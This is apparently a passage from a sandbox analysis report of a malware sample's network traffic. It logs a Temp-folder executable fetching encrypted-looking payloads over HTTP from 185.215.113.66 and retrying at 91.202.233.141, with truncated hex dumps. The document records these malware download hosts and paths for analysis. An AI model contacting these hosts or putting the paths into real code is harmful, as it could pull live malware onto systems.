(Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49737	185.215.113.66	80	2060	C:\Users\user\AppData\Local\Temp\1146722911.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:23:40.838985920 CEST	167	OUT	GET /_1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:23:41.181057930 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:23:41 GMT Content-Type: application/octet-stream Content-Length: 9224 Last-Modified: Wed, 08 May 2024 11:35:13 GMT Connection: keep-alive ETag: "663b6371-2408" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 cc da 9c ef c1 96 97 c6 a6 fa 74 6e 9a a2 42 84 a8 83 88 1a b9 20 6d 57 1d 32 de db 10 4c 8c be 23 3a d0 0d 1a 7e 97 fc 31 4d da 46 81 5c 54 e1 4f ef 9c d7 8b 98 6d cf f6 fc 2f dd d0 3c e7 eb c9 01 dd 87 63 83 9d a7 ab c6 43 be 3b 55 fd 37 91 4c 34 55 8e 4d 2c 25 a9 37 be 5a c3 2f 4e eb de d4 96 5b 64 b4 cc 09 be 82 dd 50 f1 6f 53 e9 5c 18 4d ab a1 d8 5c 05 72 55 d1 39 79 8e 8f c0 92 cc a4 84 42 44 84 55 98 8d 35 a7 71 dd f3 7d cc 69 c7 1d ff 18 43 cb a8 42 76 bb da 5a 79 5d 6b c2 c5 f9 3a f6 e3 61 14 36 11 23 7d 5d 3b 29 e1 32 8f c8 5e 22 a3 94 cf 93 1b ce 69 76 8d 1a d6 b4 4e 17 c2 fc 6d 6f 5f 41 00 87 00 c1 5f 00 7a 90 23 9a 51 7e 6e ae bf 1f e4 d0 d3 05 f0 fc 12 6f 78 c3 a9 ca 71 9f 03 b0 4a 07 64 51 21 79 73 30 e4 81 db c9 bd 32 2d 2e 4e bb 64 35 3a 1e 08 41 ed 8e f2 82 df ca 88 fb cf 5a a9 2c 73 62 1a 32 e0 1d 0a 32 b4 69 31 73 bd 7a f9 be 30 a8 54 da ec 30 fb 26 08 4e 51 27 6a 3c b8 81 1a 42 af 5b 2e 70 90 d0 0b 79 f6 84 99 ba 95 ff f0 e9 82 3b 1b ec 96 ae 48 14 95 a7 [TRUNCATED] Data Ascii: NGS!tnB mW2L#:~1MF\TOm/<cC;U7L4UM,%7Z/N[dPoS\M\rU9yBDU5q}iCBvZy]k:a6#}];)2^"ivNmo_A_z#Q~noxqJdQ!ys02-.Nd5:AZ,sb22i1sz0T0&NQ'j<B[.py;H0<yKk6G\lNC=ct{MsThZXlT?S/Q0LfZW,Mif \AMF'bhlJ>xI2ZXeG)W8'QLTc=>Dw,NM?0N"!2 `_j8`Fy$D7EjYO&$b.o+zNANMeuumeBV5(%VhRYtNL(2=;DpsubxAl\|s,d2-E`pw *vh+GO> IngxCmFh{2Z7\|k\|`{E#&VV)A>G>#(#,#>KXF=p"iehp7wmt,TNUI~,~iP~V}flj7z_RJLdYKj<yDVTmT@G=GEQlk>nQi^a4\|Qp^<r49xLv_ [TRUNCATED]
May 8, 2024 15:23:41.181135893 CEST	1289	IN	Data Raw: c2 0b 7f 53 28 72 18 a7 0b ee 55 6f cb 3d 74 0d 0f 24 2a d4 e2 5e f1 11 0b 67 be e2 a9 95 d4 e3 1a 8a 33 c3 fb 3a 06 e7 5d 63 2c a9 76 a4 40 5b 95 94 55 4e 4f 9d 58 43 89 59 bb 37 cc 7f 1f 27 11 42 25 58 d1 91 c5 11 5e 4d dc 47 c6 41 78 cc c4 9f Data Ascii: S(rUo=t$^g3:]c,v@[UNOXCY7'B%X^MGAx-,-El4oc[Tp-%!Ch2)U]Rs;c2E-:-lO~i:2FM3vT&\|\|,A0&(,dT{[{>q87tP_V
May 8, 2024 15:23:41.181152105 CEST	1289	IN	Data Raw: 0a 77 7f 18 36 b7 b6 91 f6 e6 01 f7 fb 10 50 4a 85 63 ef 94 f5 60 b5 c8 06 c8 3d 64 69 da a8 6d 30 32 bf 1e 29 ff 8e c7 b9 25 0e f1 a7 27 9c 08 3d 52 af 70 5d 92 9b c2 a7 1b ca 81 72 a0 4e a1 bd 92 d3 71 a2 66 e1 25 b1 70 36 c3 d0 df c7 b3 11 ca Data Ascii: w6PJc`=dim02)%'=Rp]rNqf%p6/f ^v8M4E@jX5'3A!c@jW]l\|7dqsG8v^f']MKhR1HVE&9pX6@n4VX3DNi
May 8, 2024 15:23:41.181360006 CEST	1289	IN	Data Raw: 2a 80 d4 70 56 39 70 59 4d 0f e5 66 e8 46 12 cf 0a fe df f4 7c 25 6d 8f ac d6 8c 63 e2 2c af d7 d4 f1 79 23 96 79 70 f7 15 71 bf 22 00 5f b0 b7 32 f5 4d 1d cc 3f 86 c7 00 fa 71 80 a2 6f 15 92 cb d2 09 07 bf 39 61 4a 6d 1f f0 cf 9a b2 82 28 c8 65 Data Ascii: pV9pYMfF\|%mc,y#ypq"_2M?qo9aJm(eXpv=,a6o[C%9=cg78xpN&xh[l6R?LdL .[</.`;&1R/Q
May 8, 2024 15:23:41.181449890 CEST	1289	IN	Data Raw: a4 9d aa 76 a5 5b 73 c6 19 e8 80 c3 a4 48 a8 85 ca 88 43 82 67 d3 d6 66 0d 7a 36 34 64 b8 83 cc 98 a4 67 cf 4e 4f 4c 68 80 0c 75 9a 0c 85 a3 9c a5 bd 4a bc ea 47 7f b8 71 b4 9d a0 7b 9b 68 85 84 2c 86 b1 1b 7c 8a 14 67 c6 41 95 51 ff 3e 18 83 6f Data Ascii: v[sHCgfz64dgNOLhuJGq{h,\|gAQ>o5{91GaBJRq!_fRy*QCRWLbdTs@/ENA5)d{# o`k_<AiHqN,6eH )LTn^Qnyap)SaM
May 8, 2024 15:23:41.181508064 CEST	1289	IN	Data Raw: 57 ab c1 04 01 4b 78 e6 fc e2 60 39 58 67 cd 41 fc 8a 98 51 b7 4e 6b 4a 3f 87 57 5b 23 21 30 63 d3 6c 63 28 b8 9d ad 2a f5 dc 9b 65 17 ea 19 98 63 fc 8a 0d a7 60 46 fe bc 00 2c d3 b0 d9 d7 df 54 e5 97 00 01 e8 bb 31 c9 86 36 56 69 db 80 e2 55 b0 Data Ascii: WKx`9XgAQNkJ?W[#!0clc(*ec`F,T16ViUt[1"Y!?n{T\,\|q=q/0T?\QIjcv(JHJdc7-{-sc>d!ql#LqlrvD;`-w/IO:
May 8, 2024 15:23:41.181555033 CEST	1289	IN	Data Raw: 87 d2 44 52 54 d0 7c d3 ef bf 7d 15 8c 05 3e 44 a3 62 eb a9 16 ee 0a e7 ea b7 a4 36 c3 dd c3 ee cf 88 56 4c 2c e5 fd 02 ae 51 65 dc 04 6f dc 97 ca e5 49 9f 6a 7c b1 6c bb b7 39 b1 02 59 2f 47 11 1d c1 f7 34 ba c1 23 0c a5 17 8c cb 01 63 77 22 31 Data Ascii: DRT\|}>Db6VL,QeoIj\|l9Y/G4#cw"1A~.<ZBoD"`(W;`T73-"pI;Igk"DryYwDZMU(RRV)H:Z:{{5\rBn}oIq_7,>h.tV{r
May 8, 2024 15:23:41.181571007 CEST	465	IN	Data Raw: b3 d0 ab 1f 76 29 d1 74 b5 bf 97 38 a1 3e ac 4f 49 3d 20 20 c9 37 69 05 0b 00 02 b6 94 ee e9 61 47 a0 4c 0a 82 8b 91 eb 0c e8 22 83 fc 35 a8 61 47 af 8f 8f f9 0f 41 de 32 73 ff a9 08 b6 33 d9 ff a5 0e cc fc a2 24 bc 6c 9f 31 c5 e1 cc a1 02 e7 fc Data Ascii: v)t8>OI= 7iaGL"5aGA2s3$l1<ce uUK[OZL,NQLm]r.IDaKs%l!KHtqqbQ=sIIsmVd5ZY]X7uzEnSVNsp$!wmB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49739	185.215.113.66	80	2060	C:\Users\user\AppData\Local\Temp\1146722911.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:23:43.559075117 CEST	167	OUT	GET /_2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:23:43.898837090 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:23:43 GMT Content-Type: application/octet-stream Content-Length: 9224 Last-Modified: Tue, 07 May 2024 18:30:40 GMT Connection: keep-alive ETag: "663a7350-2408" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 cc da 9c ef c1 96 97 c6 a6 fa 74 6e 9a a2 42 84 a8 83 88 1a b9 20 6d 57 1d 32 de db 10 4c 8c be 23 3a d0 0d 1a 7e 97 fc 31 4d da 46 81 5c 54 e1 4f ef 9c d7 8b 98 6d cf f6 fc 2f dd d0 3c e7 eb c9 01 dd 87 63 83 9d a7 ab c6 43 be 3b 55 fd 37 91 4c 34 55 8e 4d 2c 25 a9 37 be 5a c3 2f 4e eb de d4 96 5b 64 b4 cc 09 be 82 dd 50 f1 6f 53 e9 5c 18 4d ab a1 d8 5c 05 72 55 d1 39 79 8e 8f c0 92 cc a4 84 42 44 84 55 98 8d 35 a7 71 dd f3 7d cc 69 c7 1d ff 18 43 cb a8 42 76 bb da 5a 79 5d 6b c2 c5 f9 3a f6 e3 61 14 36 11 23 7d 5d 3b 29 e1 32 8f c8 5e 22 a3 94 cf 93 1b ce 69 76 8d 1a d6 b4 4e 17 c2 fc 6d 6f 5f 41 00 87 00 c1 5f 00 7a 90 23 9a 51 7e 6e ae bf 1f e4 d0 d3 05 f0 fc 12 6f 78 c3 a9 ca 71 9f 03 b0 4a 07 64 51 21 79 73 30 e4 81 db c9 bd 32 2d 2e 4e bb 64 35 3a 1e 08 41 ed 8e f2 82 df ca 88 fb cf 5a a9 2c 73 62 1a 32 e0 1d 0a 32 b4 69 31 73 bd 7a f9 be 30 a8 54 da ec 30 fb 26 08 4e 51 27 6a 3c b8 81 1a 42 af 5b 2e 70 90 d0 0b 79 f6 84 99 ba 95 ff f0 e9 82 3b 1b ec 96 ae 48 14 95 a7 [TRUNCATED] Data Ascii: NGS!tnB mW2L#:~1MF\TOm/<cC;U7L4UM,%7Z/N[dPoS\M\rU9yBDU5q}iCBvZy]k:a6#}];)2^"ivNmo_A_z#Q~noxqJdQ!ys02-.Nd5:AZ,sb22i1sz0T0&NQ'j<B[.py;H0<yKk6G\lNC=ct{MsThZXlT?S/Q0LfZW,Mif \AMF'bhlJ>xI2ZXeG)W8'QLTc=>Dw,NM?0N"!2 `_j8`Fy$D7EjYO&$b.o+zNANMeuumeBV5(%VhRYtNL(2=;DpsubxAl\|s,d2-E`pw *vh+GO> IngxCmFh{2Z7\|k\|`{E#&VV)A>G>#(#,#>KXF=p"iehp7wmt,TNUI~,~iP~V}flj7z_RJLdYKj<yDVTmT@G=GEQlk>nQi^a4\|Qp^<r49xLv_ [TRUNCATED]
May 8, 2024 15:23:43.898852110 CEST	1289	IN	Data Raw: c2 0b 7f 53 28 72 18 a7 0b ee 55 6f cb 3d 74 0d 0f 24 2a d4 e2 5e f1 11 0b 67 be e2 a9 95 d4 e3 1a 8a 33 c3 fb 3a 06 e7 5d 63 2c a9 76 a4 40 5b 95 94 55 4e 4f 9d 58 43 89 59 bb 37 cc 7f 1f 27 11 42 25 58 d1 91 c5 11 5e 4d dc 47 c6 41 78 cc c4 9f Data Ascii: S(rUo=t$^g3:]c,v@[UNOXCY7'B%X^MGAx-,-El4oc[Tp-%!Ch2)U]Rs;c2E-:-lO~i:2FM3vT&\|\|,A0&(,dT{[{>q87tP_V
May 8, 2024 15:23:43.898871899 CEST	1289	IN	Data Raw: 0a 77 7f 18 36 b7 b6 91 f6 e6 01 f7 fb 10 50 4a 85 63 ef 94 f5 60 b5 c8 06 c8 3d 64 69 da a8 6d 30 32 bf 1e 29 ff 8e c7 b9 25 0e f1 a7 27 9c 08 3d 52 af 70 5d 92 9b c2 a7 1b ca 81 72 a0 4e a1 bd 92 d3 71 a2 66 e1 25 b1 70 36 c3 d0 df c7 b3 11 ca Data Ascii: w6PJc`=dim02)%'=Rp]rNqf%p6/f ^v8M4E@jX5'3A!c@jW]l\|7dqsG8v^f']MKhR1HVE&9pX6@n4VX3DNi
May 8, 2024 15:23:43.898885012 CEST	1289	IN	Data Raw: 2a 80 d4 70 56 39 70 59 4d 0f e5 66 e8 46 12 cf 0a fe df f4 7c 25 6d 8f ac d6 8c 63 e2 2c af d7 d4 f1 79 23 96 79 70 f7 15 71 bf 22 00 5f b0 b7 32 f5 4d 1d cc 3f 86 c7 00 fa 71 80 a2 6f 15 92 cb d2 09 07 bf 39 61 4a 6d 1f f0 cf 9a b2 82 28 c8 65 Data Ascii: pV9pYMfF\|%mc,y#ypq"_2M?qo9aJm(eXpv=,a6o[C%9=cg78xpN&xh[l6R?LdL .[</.`;&1R/Q
May 8, 2024 15:23:43.898936033 CEST	1289	IN	Data Raw: a4 9d aa 76 a5 5b 73 c6 19 e8 80 c3 a4 48 a8 85 ca 88 43 82 67 d3 d6 66 0d 7a 36 34 64 b8 83 cc 98 a4 67 cf 4e 4f 4c 68 80 0c 75 9a 0c 85 a3 9c a5 bd 4a bc ea 47 7f b8 71 b4 9d a0 7b 9b 68 85 84 2c 86 b1 1b 7c 8a 14 67 c6 41 95 51 ff 3e 18 83 6f Data Ascii: v[sHCgfz64dgNOLhuJGq{h,\|gAQ>o5{91GaBJRq!_fRy*QCRWLbdTs@/ENA5)d{# o`k_<AiHqN,6eH )LTn^Qnyap)SaM
May 8, 2024 15:23:43.898948908 CEST	1289	IN	Data Raw: 57 ab c1 04 01 4b 78 e6 fc e2 60 39 58 67 cd 41 fc 8a 98 51 b7 4e 6b 4a 3f 87 57 5b 23 21 30 63 d3 6c 63 28 b8 9d ad 2a f5 dc 9b 65 17 ea 19 98 63 fc 8a 0d a7 60 46 fe bc 00 2c d3 b0 d9 d7 df 54 e5 97 00 01 e8 bb 31 c9 86 36 56 69 db 80 e2 55 b0 Data Ascii: WKx`9XgAQNkJ?W[#!0clc(*ec`F,T16ViUt[1"Y!?n{T\,\|q=q/0T?\QIjcv(JHJdc7-{-sc>d!ql#LqlrvD;`-w/IO:
May 8, 2024 15:23:43.898961067 CEST	1289	IN	Data Raw: 87 d2 44 52 54 d0 7c d3 ef bf 7d 15 8c 05 3e 44 a3 62 eb a9 16 ee 0a e7 ea b7 a4 36 c3 dd c3 ee cf 88 56 4c 2c e5 fd 02 ae 51 65 dc 04 6f dc 97 ca e5 49 9f 6a 7c b1 6c bb b7 39 b1 02 59 2f 47 11 1d c1 f7 34 ba c1 23 0c a5 17 8c cb 01 63 77 22 31 Data Ascii: DRT\|}>Db6VL,QeoIj\|l9Y/G4#cw"1A~.<ZBoD"`(W;`T73-"pI;Igk"DryYwDZMU(RRV)H:Z:{{5\rBn}oIq_7,>h.tV{r
May 8, 2024 15:23:43.898973942 CEST	465	IN	Data Raw: b3 d0 ab 1f 76 29 d1 74 b5 bf 97 38 a1 3e ac 4f 49 3d 20 20 c9 37 69 05 0b 00 02 b6 94 ee e9 61 47 a0 4c 0a 82 8b 91 eb 0c e8 22 83 fc 35 a8 61 47 af 8f 8f f9 0f 41 de 32 73 ff a9 08 b6 33 d9 ff a5 0e cc fc a2 24 bc 6c 9f 31 c5 e1 cc a1 02 e7 fc Data Ascii: v)t8>OI= 7iaGL"5aGA2s3$l1<ce uUK[OZL,NQLm]r.IDaKs%l!KHtqqbQ=sIIsmVd5ZY]X7uzEnSVNsp$!wmB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49740	185.215.113.66	80	2060	C:\Users\user\AppData\Local\Temp\1146722911.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:23:46.264875889 CEST	167	OUT	GET /_3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:23:46.607598066 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:23:46 GMT Content-Type: application/octet-stream Content-Length: 9224 Last-Modified: Tue, 07 May 2024 18:30:44 GMT Connection: keep-alive ETag: "663a7354-2408" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 cc da 9c ef c1 96 97 c6 a6 fa 74 6e 9a a2 42 84 a8 83 88 1a b9 20 6d 57 1d 32 de db 10 4c 8c be 23 3a d0 0d 1a 7e 97 fc 31 4d da 46 81 5c 54 e1 4f ef 9c d7 8b 98 6d cf f6 fc 2f dd d0 3c e7 eb c9 01 dd 87 63 83 9d a7 ab c6 43 be 3b 55 fd 37 91 4c 34 55 8e 4d 2c 25 a9 37 be 5a c3 2f 4e eb de d4 96 5b 64 b4 cc 09 be 82 dd 50 f1 6f 53 e9 5c 18 4d ab a1 d8 5c 05 72 55 d1 39 79 8e 8f c0 92 cc a4 84 42 44 84 55 98 8d 35 a7 71 dd f3 7d cc 69 c7 1d ff 18 43 cb a8 42 76 bb da 5a 79 5d 6b c2 c5 f9 3a f6 e3 61 14 36 11 23 7d 5d 3b 29 e1 32 8f c8 5e 22 a3 94 cf 93 1b ce 69 76 8d 1a d6 b4 4e 17 c2 fc 6d 6f 5f 41 00 87 00 c1 5f 00 7a 90 23 9a 51 7e 6e ae bf 1f e4 d0 d3 05 f0 fc 12 6f 78 c3 a9 ca 71 9f 03 b0 4a 07 64 51 21 79 73 30 e4 81 db c9 bd 32 2d 2e 4e bb 64 35 3a 1e 08 41 ed 8e f2 82 df ca 88 fb cf 5a a9 2c 73 62 1a 32 e0 1d 0a 32 b4 69 31 73 bd 7a f9 be 30 a8 54 da ec 30 fb 26 08 4e 51 27 6a 3c b8 81 1a 42 af 5b 2e 70 90 d0 0b 79 f6 84 99 ba 95 ff f0 e9 82 3b 1b ec 96 ae 48 14 95 a7 [TRUNCATED] Data Ascii: NGS!tnB mW2L#:~1MF\TOm/<cC;U7L4UM,%7Z/N[dPoS\M\rU9yBDU5q}iCBvZy]k:a6#}];)2^"ivNmo_A_z#Q~noxqJdQ!ys02-.Nd5:AZ,sb22i1sz0T0&NQ'j<B[.py;H0<yKk6G\lNC=ct{MsThZXlT?S/Q0LfZW,Mif \AMF'bhlJ>xI2ZXeG)W8'QLTc=>Dw,NM?0N"!2 `_j8`Fy$D7EjYO&$b.o+zNANMeuumeBV5(%VhRYtNL(2=;DpsubxAl\|s,d2-E`pw *vh+GO> IngxCmFh{2Z7\|k\|`{E#&VV)A>G>#(#,#>KXF=p"iehp7wmt,TNUI~,~iP~V}flj7z_RJLdYKj<yDVTmT@G=GEQlk>nQi^a4\|Qp^<r49xLv_ [TRUNCATED]
May 8, 2024 15:23:46.607613087 CEST	1289	IN	Data Raw: c2 0b 7f 53 28 72 18 a7 0b ee 55 6f cb 3d 74 0d 0f 24 2a d4 e2 5e f1 11 0b 67 be e2 a9 95 d4 e3 1a 8a 33 c3 fb 3a 06 e7 5d 63 2c a9 76 a4 40 5b 95 94 55 4e 4f 9d 58 43 89 59 bb 37 cc 7f 1f 27 11 42 25 58 d1 91 c5 11 5e 4d dc 47 c6 41 78 cc c4 9f Data Ascii: S(rUo=t$^g3:]c,v@[UNOXCY7'B%X^MGAx-,-El4oc[Tp-%!Ch2)U]Rs;c2E-:-lO~i:2FM3vT&\|\|,A0&(,dT{[{>q87tP_V
May 8, 2024 15:23:46.607626915 CEST	1289	IN	Data Raw: 0a 77 7f 18 36 b7 b6 91 f6 e6 01 f7 fb 10 50 4a 85 63 ef 94 f5 60 b5 c8 06 c8 3d 64 69 da a8 6d 30 32 bf 1e 29 ff 8e c7 b9 25 0e f1 a7 27 9c 08 3d 52 af 70 5d 92 9b c2 a7 1b ca 81 72 a0 4e a1 bd 92 d3 71 a2 66 e1 25 b1 70 36 c3 d0 df c7 b3 11 ca Data Ascii: w6PJc`=dim02)%'=Rp]rNqf%p6/f ^v8M4E@jX5'3A!c@jW]l\|7dqsG8v^f']MKhR1HVE&9pX6@n4VX3DNi
May 8, 2024 15:23:46.607778072 CEST	1289	IN	Data Raw: 2a 80 d4 70 56 39 70 59 4d 0f e5 66 e8 46 12 cf 0a fe df f4 7c 25 6d 8f ac d6 8c 63 e2 2c af d7 d4 f1 79 23 96 79 70 f7 15 71 bf 22 00 5f b0 b7 32 f5 4d 1d cc 3f 86 c7 00 fa 71 80 a2 6f 15 92 cb d2 09 07 bf 39 61 4a 6d 1f f0 cf 9a b2 82 28 c8 65 Data Ascii: pV9pYMfF\|%mc,y#ypq"_2M?qo9aJm(eXpv=,a6o[C%9=cg78xpN&xh[l6R?LdL .[</.`;&1R/Q
May 8, 2024 15:23:46.607992887 CEST	1289	IN	Data Raw: a4 9d aa 76 a5 5b 73 c6 19 e8 80 c3 a4 48 a8 85 ca 88 43 82 67 d3 d6 66 0d 7a 36 34 64 b8 83 cc 98 a4 67 cf 4e 4f 4c 68 80 0c 75 9a 0c 85 a3 9c a5 bd 4a bc ea 47 7f b8 71 b4 9d a0 7b 9b 68 85 84 2c 86 b1 1b 7c 8a 14 67 c6 41 95 51 ff 3e 18 83 6f Data Ascii: v[sHCgfz64dgNOLhuJGq{h,\|gAQ>o5{91GaBJRq!_fRy*QCRWLbdTs@/ENA5)d{# o`k_<AiHqN,6eH )LTn^Qnyap)SaM
May 8, 2024 15:23:46.608006954 CEST	1289	IN	Data Raw: 57 ab c1 04 01 4b 78 e6 fc e2 60 39 58 67 cd 41 fc 8a 98 51 b7 4e 6b 4a 3f 87 57 5b 23 21 30 63 d3 6c 63 28 b8 9d ad 2a f5 dc 9b 65 17 ea 19 98 63 fc 8a 0d a7 60 46 fe bc 00 2c d3 b0 d9 d7 df 54 e5 97 00 01 e8 bb 31 c9 86 36 56 69 db 80 e2 55 b0 Data Ascii: WKx`9XgAQNkJ?W[#!0clc(*ec`F,T16ViUt[1"Y!?n{T\,\|q=q/0T?\QIjcv(JHJdc7-{-sc>d!ql#LqlrvD;`-w/IO:
May 8, 2024 15:23:46.608061075 CEST	1289	IN	Data Raw: 87 d2 44 52 54 d0 7c d3 ef bf 7d 15 8c 05 3e 44 a3 62 eb a9 16 ee 0a e7 ea b7 a4 36 c3 dd c3 ee cf 88 56 4c 2c e5 fd 02 ae 51 65 dc 04 6f dc 97 ca e5 49 9f 6a 7c b1 6c bb b7 39 b1 02 59 2f 47 11 1d c1 f7 34 ba c1 23 0c a5 17 8c cb 01 63 77 22 31 Data Ascii: DRT\|}>Db6VL,QeoIj\|l9Y/G4#cw"1A~.<ZBoD"`(W;`T73-"pI;Igk"DryYwDZMU(RRV)H:Z:{{5\rBn}oIq_7,>h.tV{r
May 8, 2024 15:23:46.608074903 CEST	465	IN	Data Raw: b3 d0 ab 1f 76 29 d1 74 b5 bf 97 38 a1 3e ac 4f 49 3d 20 20 c9 37 69 05 0b 00 02 b6 94 ee e9 61 47 a0 4c 0a 82 8b 91 eb 0c e8 22 83 fc 35 a8 61 47 af 8f 8f f9 0f 41 de 32 73 ff a9 08 b6 33 d9 ff a5 0e cc fc a2 24 bc 6c 9f 31 c5 e1 cc a1 02 e7 fc Data Ascii: v)t8>OI= 7iaGL"5aGA2s3$l1<ce uUK[OZL,NQLm]r.IDaKs%l!KHtqqbQ=sIIsmVd5ZY]X7uzEnSVNsp$!wmB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49742	91.202.233.141	80	2060	C:\Users\user\AppData\Local\Temp\1146722911.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:23:50.013185024 CEST	167	OUT	GET /_1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:23:50.368292093 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:23:50 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
May 8, 2024 15:23:52.920958042 CEST	167	OUT	GET /_2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:23:53.276015043 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:23:53 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
May 8, 2024 15:23:55.295192003 CEST	167	OUT	GET /_3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 91.202.233.141
